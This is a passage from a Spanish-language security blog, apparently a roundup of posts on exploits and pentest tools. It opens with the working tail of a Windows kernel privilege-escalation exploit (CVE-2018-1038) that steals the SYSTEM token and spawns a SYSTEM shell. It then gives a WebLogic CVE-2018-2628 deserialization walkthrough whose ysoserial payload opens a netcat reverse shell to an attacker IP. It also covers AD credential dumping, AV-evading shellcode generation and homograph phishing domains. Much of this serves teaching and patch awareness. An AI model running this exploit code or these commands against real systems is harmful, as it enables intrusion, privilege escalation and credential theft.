            // Below, notice the 0xe7 flags added to each entry.
            // This is used to create a 2mb page rather than the standard 4096 byte page.
            *(unsigned long long *)(vaPD + (iPD << 3)) = ((iPDPT * 512 + iPD) << 21) | 0xe7;
        }
    }

    printf("\n[*] Page tables created, we now have access to ~31gb of physical memory\n");

    #define EPROCESS_IMAGENAME_OFFSET 0x2e0
    #define EPROCESS_TOKEN_OFFSET 0x208
    #define EPROCESS_PRIORITY_OFFSET 0xF  // This is the offset from IMAGENAME, not from base

    unsigned long long ourEPROCESS = 0, systemEPROCESS = 0;
    unsigned long long exploitVM = 0xffff000000000000 + (iPML4 << (9 * 4 + 3));
    STARTUPINFOA si;
    PROCESS_INFORMATION pi;
    
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));

    printf("[*] Hunting for _EPROCESS structures in memory\n");
    for (unsigned long long i = 0x100000; i < 31 * 512 * 2097152; i++) {
        __try {
            // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
            if (ourEPROCESS == 0 && memcmp("TotalMeltdownP", (unsigned char *)(exploitVM + i), 14) == 0) {
                if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                    ourEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                    printf("[*] Found our _EPROCESS at %p\n", ourEPROCESS);
                }
            }
            // Locate EPROCESS via the IMAGE_FILE_NAME field, and PRIORITY_CLASS field
            else if (systemEPROCESS == 0 && memcmp("System\0\0\0\0\0\0\0\0\0", (unsigned char *)(exploitVM + i), 14) == 0) {
                if (*(unsigned char *)(exploitVM + i + EPROCESS_PRIORITY_OFFSET) == 0x2) {
                    systemEPROCESS = exploitVM + i - EPROCESS_IMAGENAME_OFFSET;
                    printf("[*] Found System _EPROCESS at %p\n", systemEPROCESS);
                }
            }

            if (systemEPROCESS != 0 && ourEPROCESS != 0) {
                // Swap the tokens by copying the pointer to System Token field over our process token
                printf("[*] Copying access token from %p to %p\n", systemEPROCESS + EPROCESS_TOKEN_OFFSET, ourEPROCESS + EPROCESS_TOKEN_OFFSET);
                *(unsigned long long *)((char *)ourEPROCESS + EPROCESS_TOKEN_OFFSET) = *(unsigned long long *)((char *)systemEPROCESS + EPROCESS_TOKEN_OFFSET);
                printf("[*] Done, spawning SYSTEM shell...\n\n");

                CreateProcessA(0,
                    "cmd.exe",
                    NULL,
                    NULL,
                    TRUE,
                    0,
                    NULL,
                    "C:\\windows\\system32",
                    &si,
                    &pi);
                break;
            }
        }
        __except (EXCEPTION_EXECUTE_HANDLER) {
            printf("[X] Exception occured, stopping to avoid BSOD\n");
            return 2;
        }
    }
    return 0;
}

Por último, Microsoft ha publicado el parche para esta vulnerabilidad, bautizada como CVE-2018-1038, así que toca parchear rápido:

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-1038

Eternal Check: comprueba si tu IP es vulnerable a Eternal Blue, Romance, Synergy y Champion

Eternal Check verifica si una ip específica es vulnerable a los exploits Eternal Blue, Eternal Romance, Eternal Champion y Eternal Synergy. Eternal Check usa los archivos ejecutables originales del leak de Shadow Brokers para verificar los objetivos, requiere wine de 32 bits instalado (no wine 64). Eternal Check también verifica que los pipes Smb son vulnerables en la máquina objetivo para ser explotados.

Eternal Check se puede descargar en:

https://github.com/peterpt/eternal_check

Requisitos:
- nmap
- winbind
- wine32
- wget

Uso:
- ejemplo 1 : ./echeck
- ejemplo 2 : ./echeck 192.68.2.56
 

Referencias sobre las vulnerabilidades:

RCE (serialización) en Oracle Weblogic Server (10.3.6.0, 12.1.3.0, 12.2.1.2, 12.2.1.3)

El pasado 17 de abril, Oracle publicó un parche para una vulnerabilidad de serialización crítica (CVE-2018-2628). Dicha vulnerabilidad fue reportada en noviembre del año pasado y permitía la ejecución remota de comandos sin autenticación en los componentes del core de Weblogic server (WLS). Se confirmaron como vulnerables las versiones 10.3.6.0, 12.1.3.0, 12.2.1.2 y 12.2.1.3.

El punto de entrada para el ataque es la IP del servicio T3, por defecto sobre el puerto 7001. Recordar que el protocolo T3 se usa para transportar datos entre el Servidor WebLogic y otros programas Java, incluidos los clientes y otras instancias de WebLogic. El servicio desempaquetará la estructura del Object y para leerlo realizará una segunda petición a un listener JRMP (Java Remote Method Protocol). En ese momento se enviará de vuelta un payload malicioso (ysoserial.exploit.JRMPListener) que al deserializarlo dará como resultado la ejecución remota de código.

Para probarlo, vamos a montar un entorno vulnerable. Primero levantamos un Weblogic server (10.3.6.0) en un contenedor docker:
docker pull zhiqzhao/ubuntu_weblogic1036_domain
docker run -d -p 7001:7001 zhiqzhao/ubuntu_weblogic1036_domain

# docker run -d -p 192.168.1.36:7001:7001 zhiqzhao/ubuntu_weblogic1036_domain
8e2326f0e6c90c3b4d3072d4a77a745ebe2884235fa58b4be7d56ba855c0a85a

# docker ps
CONTAINER ID        IMAGE                                 COMMAND              CREATED             STATUS              PORTS                                   NAMES
8e2326f0e6c9        zhiqzhao/ubuntu_weblogic1036_domain   "startWebLogic.sh"   27 seconds ago      Up 26 seconds       5556/tcp, 192.168.1.36:7001->7001/tcp   elastic_wright

# netstat -an | grep 7001
tcp        0      0 192.168.1.36:7001       0.0.0.0:*               ESCUCHAR
unix  3      [ ]         FLUJO      CONECTADO     27001    /run/systemd/journal/stdout

A continuación, levantaremos el JRMPListener de yoserial y especificaremos como payload la conexión netcat contra la máquina del atacante:
# java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections1 'nc -nv 10.0.0.5 4040'
* Opening JRMP listener on 1099

El siguiente paso, lo habéis adivinado, será poner nc a la escucha:
# nc -nlvp 4040
listening on [any] 4040 ...

Para finalmente ejecutar el exploit y obtener la shell reversa:
python exploit.py [victim ip] [victim port] [path to ysoserial] [JRMPListener ip] [JRMPListener port]
python exploit.py 192.168.1.36 7001 ysoserial-0.0.6-SNAPSHOT-BETA-all.jar 10.0.0.5 1099

# nc -nlvp 4040
listening on [any] 4040 ...
connect to [127.0.0.1] from (UNKNOWN) [192.168.1.36] 57486

Otro ejemplo, esta vez ejecutando la calculadora a modo de PoC:
$ java -jar ysoserial.jar CommonsCollections1 calc.exe | xxd
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c  ....sr.2sun.refl
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41  ect.annotation.A
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174  nnotationInvocat
...
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76  vr..java.lang.Ov
0000560: 6572 7269 6465 0000 0000 0000 0000 0000  erride..........
0000570: 0078 7071 007e 003a                      .xpq.~.:

$ java -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin
$ nc 10.10.10.10 1099 < groovypayload.bin

$ java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe

Fuentes:
- https://github.com/brianwrf/CVE-2018-2628
- http://mp.weixin.qq.com/s/nYY4zg2m2xsqT0GXa9pMGA
- http://www.oracle.com/technetwork/security-advisory/cpuapr2018-3678067.html
- https://github.com/brianwrf/ysoserial
- http://www.nsfocus.com.cn/content/details_141_2738.html
- https://paper.tuisec.win/detail/bc41af44c9545f3
- https://github.com/jas502n/CVE-2018-2628

Extrayendo info del Directorio Activo... en Go! (goddi)

goddi (go dump domain info) es una herramienta escrita en Go que funciona tanto en Windows como en Linux y sirve para la obtención de información de directorio activo: extrae usuarios de dominio, grupos, controladores de dominio, etc. y lo vuelca a CSV.

Permite conexiones StartTLS y TLS (tls.Client func), estas últimas de forma predeterminada. Todos los resultados se van dejando en /csv/ en el directorio de trabajo actual. La información que recopila es la siguiente:

- Usuarios del dominio. También busca palabras clave en Description y escribe la información en un csv por separado.
- Usuarios en grupos de usuarios privados (DA, EA, FA).
- Los usuarios con contraseñas que no expiran.
- Cuentas de usuario que se han bloqueado o deshabilitado.
- Cuentas de máquina con contraseñas de más de 45 días.
- Equipos de dominio.
- Controladores de dominio.
- Sitios y subredes.
- SPN e incluye un flag en el csv si es domain admin
- Relaciones de confianza del dominio.
- Grupos de dominio.
- OU de dominio.
- Política de cuentas del dominio.
- Usuarios delegados del dominio.
- GPO de dominio.
- Roles de dominio FSMO.
- Contraseñas LAPS.
- Contraseñas GPP. En Windows, se establece el mapeo Q por defecto. Si se usa, se intentará con otro mapping hasta que lo consiga R, S, etc. ... En Linux, se utiliza /mnt/goddi.

Instalación

Usa los ejecutables en la sección de releases. Si quieres compilarlo tu mismo, asegúrate de que el entorno go esté configurado de acuerdo con el documento de configuración correspondiente. Goddi también usa el siguiente paquete.

go get gopkg.in/ldap.v2

Windows

Probado en Windows 10 y 8.1 (go1.10 windows/amd64).

Linux

Probado en Kali Linux (go1.10 linux/amd64).

Se debe instalar umount, mount y cifs-utils para mapear un recurso compartido para GetGPP:

apt-get update
apt-get install -y mount cifs-utils

Asegúrate de que no haya nada montado en /mnt/goddi y de ejecutarlo con sudo.

Repositorio de writeups de HackTheBox

Muchas veces en pentesting hay varias formas distintas de obtener una shell o de elevar privilegios, ya sea porque se utilizan distintos exploits, herramientas, comandos o incluso técnicas. Y no nos conformamos con conocer sólo un camino, queremos saber qué podríamos haber hecho mejor o simplemente distinto.


Es por eso que hemos creado un repositorio en Github para que todos los que queráis podáis compartir vuestros writeups o solucionarios de máquinas de HackTheBox y leer los de los demás. Ya sean de máquinas retiradas o máquinas activas... pero eso sí... los writeups de máquinas activas sólo podrán abrirse con la flag de root correspondiente, así que no te valdrán si no has hecho la máquina previamente. ¡Nada de spoilers!

Así que si quieres añadir tus propios writeups, notas, scripts u otro material para resolver las máquinas, puedes hacerlo a través de un 'pull request' o enviándonos un correo electrónico a: hackplayers_at_Ymail.com (contacto). De esta forma, se agregará tu profile a nuestra lista de contribuyentes y también recibirás un enlace de invitación a un grupo exclusivo de Telegram donde se comparten hints y metodologías para solucionar los "boot2root" de HacktheBox. Eso sí, el requisito mínimo para ingresar al grupo "especial" de Telegram es también tener un nivel de hacker o superior (no script kiddies).

https://github.com/Hackplayers/hackthebox-writeups

"Seguir un sólo camino es retroceder". - Ígor Fiódorovich Stravinsk

¡Llega #Drupalgeddon2! RCE inyectando en arrays renderizables

Allá por el año 2014 se descubrió un SQLi en Drupal tan grave que en cuestión de horas permitió automatizar ataques que comprometieron a cientos o quizás miles de servidores vulnerables. Fue lo que se denominó Drupalgeddon y continuó explotándose incluso dos años después de su descubrimiento.... Pues bien, segundas partes nunca fueron buenas y hace dos semanas se avisó de la existencia de otra vulnerabilidad crítica en Drupal (con una puntuación de 21 sobre 25 en el ranking del NIST) que fue bautizada como su sucesora: Drupalgeddon 2 (SA-CORE-2018-002 / CVE-2018-7600).

Si bien inicialmente no se conocía demasiado sobre esta nueva vulnerabilidad, Checkpoint publicó el detalle recientemente y ya tenemos los primeros exploits disponibles que permiten la ejecución remota de código incluso sin autenticación y en todas las versiones de Drupal de la 6 a la 8, excepto las últimas de cada release que precisamente se publicaron para corregir este fallo: son vulnerables los Drupal anteriores a 7.58, 8.x anteriores a 8.3.9, 8.4.x anteriores a 8.4.6 y 8.5.x anteriores a 8.5.1.

El problema radica fundamentalmente en la inadecuada sanitización de las solicitudes AJAX de Form API (FAPI) que pueden permitir a un atacante inyectar potencialmente una carga maliciosa en la estructura de un formulario interno.

Aunque se introdujo en la versión 6 no fue hasta la versión 7 cuando se generalizó este API para los formularios con "arrays renderizados".  Esta API extendida se usa para representar la estructura de la mayoría de los elementos de la interfaz de usuario en Drupal, como páginas, bloques, nodos y demás. Los arrays renderizables contienen metadatos que se usan en el proceso de renderizado. Estos arrays renderizables son una estructura de clave-valor en los que las claves de propiedad comienzan con un signo de almohadilla (#), por ejemplo:

[
‘#type’ => ‘markup’,
‘#markup’ => ‘some text’,
‘#prefix’ => ‘
’,
‘#suffix’ => ‘

]

Como vector de ataque tenemos por defecto algunos formularios disponibles como el de registro de usuario:


En la estructura de dicho formulario se inyecta una array renderizable y por ejemplo el campo “Email address” no sanitiza la entrada que recibe.



Vulnerando una base de datos Oracle 10g: de cero hasta conseguir una shell

En noviembre de 2015 Alexander Dmitrenko publicó un vídeo que todavía es muy recomendable de ver, sobretodo si tienes entre manos realizar un pentest o auditar una base de datos Oracle. En concreto la base de datos comprometida es una Oracle 10g y os animo a echar un vistazo a cada uno de los pasos para comprobar cómo es posible llegar incluso hasta obtener una shell en el servidor: 

- (1:32) Escaneo e identificación del puerto 1521/TCP con nmap
- (2:09) Obtención del SID de la base de datos (por fuerza bruta) por medio del módulo auxiliary/admin/oracle/sid_brute de Metasploit
- (5:08) Obtención de las credenciales también mediante fuerza bruta usando el módulo auxiliary/scanner/oracle/oracle_login
- (7:32) Comprobación de credenciales y obtención de dba_users (cliente sqlplus)
- (10:34) Comprobación del módulo DBMSSCHEDULER con ODAT (herramienta de ataque para base de datos Oracle)
- (11:10) Preparación de payload para shell reversa con msfvenom
- (11:50) Subida del binario mediante la librería DBMSSCHEDULER con la herramienta ODAT
- (12:44) Preparación del handler de Metasploit
- (13:15) Ejecución del archivo con el mismo método mediante ODAT
- (13:24) Obtención de shell reversa

Ketshash: detectando ataques Pass-The-Hash mediante el visor de eventos

Seguro que ya conocéis Pass-The-Hash (PTH), una técnica que permite a un atacante iniciar el movimiento lateral en la red a través del protocolo NTLM, sin la necesidad de la contraseña del usuario. 

Windows almacena diferentes tipos de valores hash, derivados de la contraseña del usuario, para permitir el acceso a diferentes servicios sin la necesidad de volver a ingresar la contraseña. Uno de esos tipos de hash es un hash MD4 de la contraseña también conocido como NTLM hash.

El protocolo NTLM utiliza el hash NT para la autenticación y no hace un 'salt' de la contraseña, lo que a su vez significa que si uno toma el valor del hash, la autenticación se puede realizar sin conocer la contraseña real.

Cuando se lleva a cabo una conexión NTLM se registrará en la máquina destino un Evento con ID 4624 ("Una cuenta inició sesión correctamente") con Logon Type 3 ("Un usuario o computadora inició sesión en esta computadora desde la red") y Authentication Package NTLM (o por nombre de proceso de logon NtLmSsp):


Un atacante por lo tanto puede autenticarse sin una contraseña pasando el hash. Para ello tendrá dos opciones:

- Inyectar el hash en LSASS.exe y abrir sesión con el hash inyectado.
- Implementar parte del protocolo NTLM para la autenticación con el hash y enviar comandos a través de la red con protocolos como SMB, WMI, etc.

OWASP ZSC - Shellcode/Obfuscate Code Generator

Ya sabéis que normalmente se utilizan distintas técnicas para eludir los antivirus y cargar archivos maliciosos en sistemas comprometidos utilizando generadores de shellcode personalizados (stubs propios). Por otro lado, el antivirus basa parte de sus capacidades de detección en firmas para identificar malware y cuando se utilizan crypters o encoders muy conocidos, como msfvenom, los archivos generados son fácilmente identificados.

OWASP ZSC es un software de código abierto escrito en Python que permite generar shellcodes personalizados y ofuscar los scripts usando distintos tipos de codificación de forma aleatoria, es decir, no se obtendrá el mismo shellcode aunque se utilice el mismo comando para generarlo, lo que posibilitará bypassear muchos sistemas antivirus. Además se puede ejecutar en Windows/Linux/OSX con Python lo que le hace verdaderamente interesante.
Demo (debugging final0 challenge Protostar):
asciicast

Reconnoitre: herramienta de enumeración automática para el OSCP

Codingo, un pentester australiano destacado por mantener NoSQLMap, tiene una herramienta multiproceso muy útil para automatizar las fases iniciales de enumeración contra una máquina "boot2root", es decir, una máquina vulnerable de un lab tipo OSCP. De hecho, fue desarrollada precisamente como herramienta de reconocimiento para los laboratorios OSCP para automatizar la recopilación de información y la enumeración de servicios mientras se crea una estructura de directorios para almacenar los resultados, hallazgos y exploits utilizados para cada host, así como sugerencias de otros comandos para ejecutar y estructuras de directorios para almacenar imágenes, otros ficheros y flags.

Las dependencias son Python 2.7 con el módulo SimpleJson, nmap, snmpwalk y nbtscan, además de las típicas wordlists para hacer dir fuzzing.

Instalación

git clone https://github.com/NoorQureshi/Reconnoitre && cd Reconnoitre
cd reconnoitre
python reconnoitre.py -h
# python reconnoitre.py -h
usage: reconnoitre.py [-h] -t TARGET_HOSTS -o OUTPUT_DIRECTORY [-w WORDLIST]
                      [-p PORT] [--pingsweep] [--dns] [--services]
                      [--hostnames] [--snmp] [--quick] [--virtualhosts]
                      [--ignore-http-codes IGNORE_HTTP_CODES]
                      [--ignore-content-length IGNORE_CONTENT_LENGTH]
                      [--quiet] [--exec] [--simple_exec]

optional arguments:
  -h, --help            show this help message and exit
  -t TARGET_HOSTS       Set a target range of addresses to target. Ex
                        10.11.1.1-255
  -o OUTPUT_DIRECTORY   Set the output directory. Ex /root/Documents/labs/
  -w WORDLIST           Set the wordlist to use for generated commands. Ex
                        /usr/share/wordlist.txt
  -p PORT               Set the port to use. Leave blank to use discovered
                        ports. Useful to force virtual host scanning on non-
                        standard webserver ports.
  --pingsweep           Write a new target.txt by performing a ping sweep and
                        discovering live hosts.
  --dns                 Find DNS servers from a list of targets.
  --services            Perform service scan over targets.
  --hostnames           Attempt to discover target hostnames and write to
                        0-name.txt and hostnames.txt.
  --snmp                Perform service scan over targets.
  --quick               Move to the next target after performing a quick scan
                        and writing first-round recommendations.
  --virtualhosts        Attempt to discover virtual hosts using the specified
                        wordlist.
  --ignore-http-codes IGNORE_HTTP_CODES
                        Comma separated list of http codes to ignore with
                        virtual host scans.
  --ignore-content-length IGNORE_CONTENT_LENGTH
                        Ignore content lengths of specificed amount. This may
                        become useful when a server returns a static page on
                        every virtual host guess.
  --quiet               Supress banner and headers to limit to comma dilimeted
                        results only.
  --exec                Execute shell comamnds from recommendations as they
                        are discovered. Likely to lead to very long execute
                        times depending on the wordlist being used.
  --simple_exec         Execute non-brute forcing shell comamnds only as they
                        are discovered.

EvilURL v2.0: un generador de dominios unicode para ataques homográficos IDN

Los ataques homográficos en nombres de dominio internacionalizados (IDN) son aquellos en los que se registran nombres de dominio maliciosos que en apariencia son idénticos o muy similares a los que intentan suplantar. Se consiguen gracias a las similitudes de algunos caracteres de diferentes idiomas. Por ejemplo, los caracteres a, с, е, о, р, х, у son idénticos en la tabla UNICODE U+0430 (estándar de codificación para el español, inglés, etc.) y U+0061 (caracteres círilicos). El resultado a la hora de comparar dominios fraudulentos con los originales es inapreciable a la vista, lo cuál es un auténtico regalo para la industria del phishing.

Mediante la siguiente herramienta que os traemos hoy es posible generar fácilmente dominios maliciosos unicode para realizar ataques homográficos IDN y también detectarlos. Se trata de EvilURL escrita en Python por UndeadSec, sencilla pero muy útil:

git clone https://github.com/UndeadSec/EvilURL.git
cd EvilURL
python3 evilurl.py


Github: https://github.com/UndeadSec/EvilURL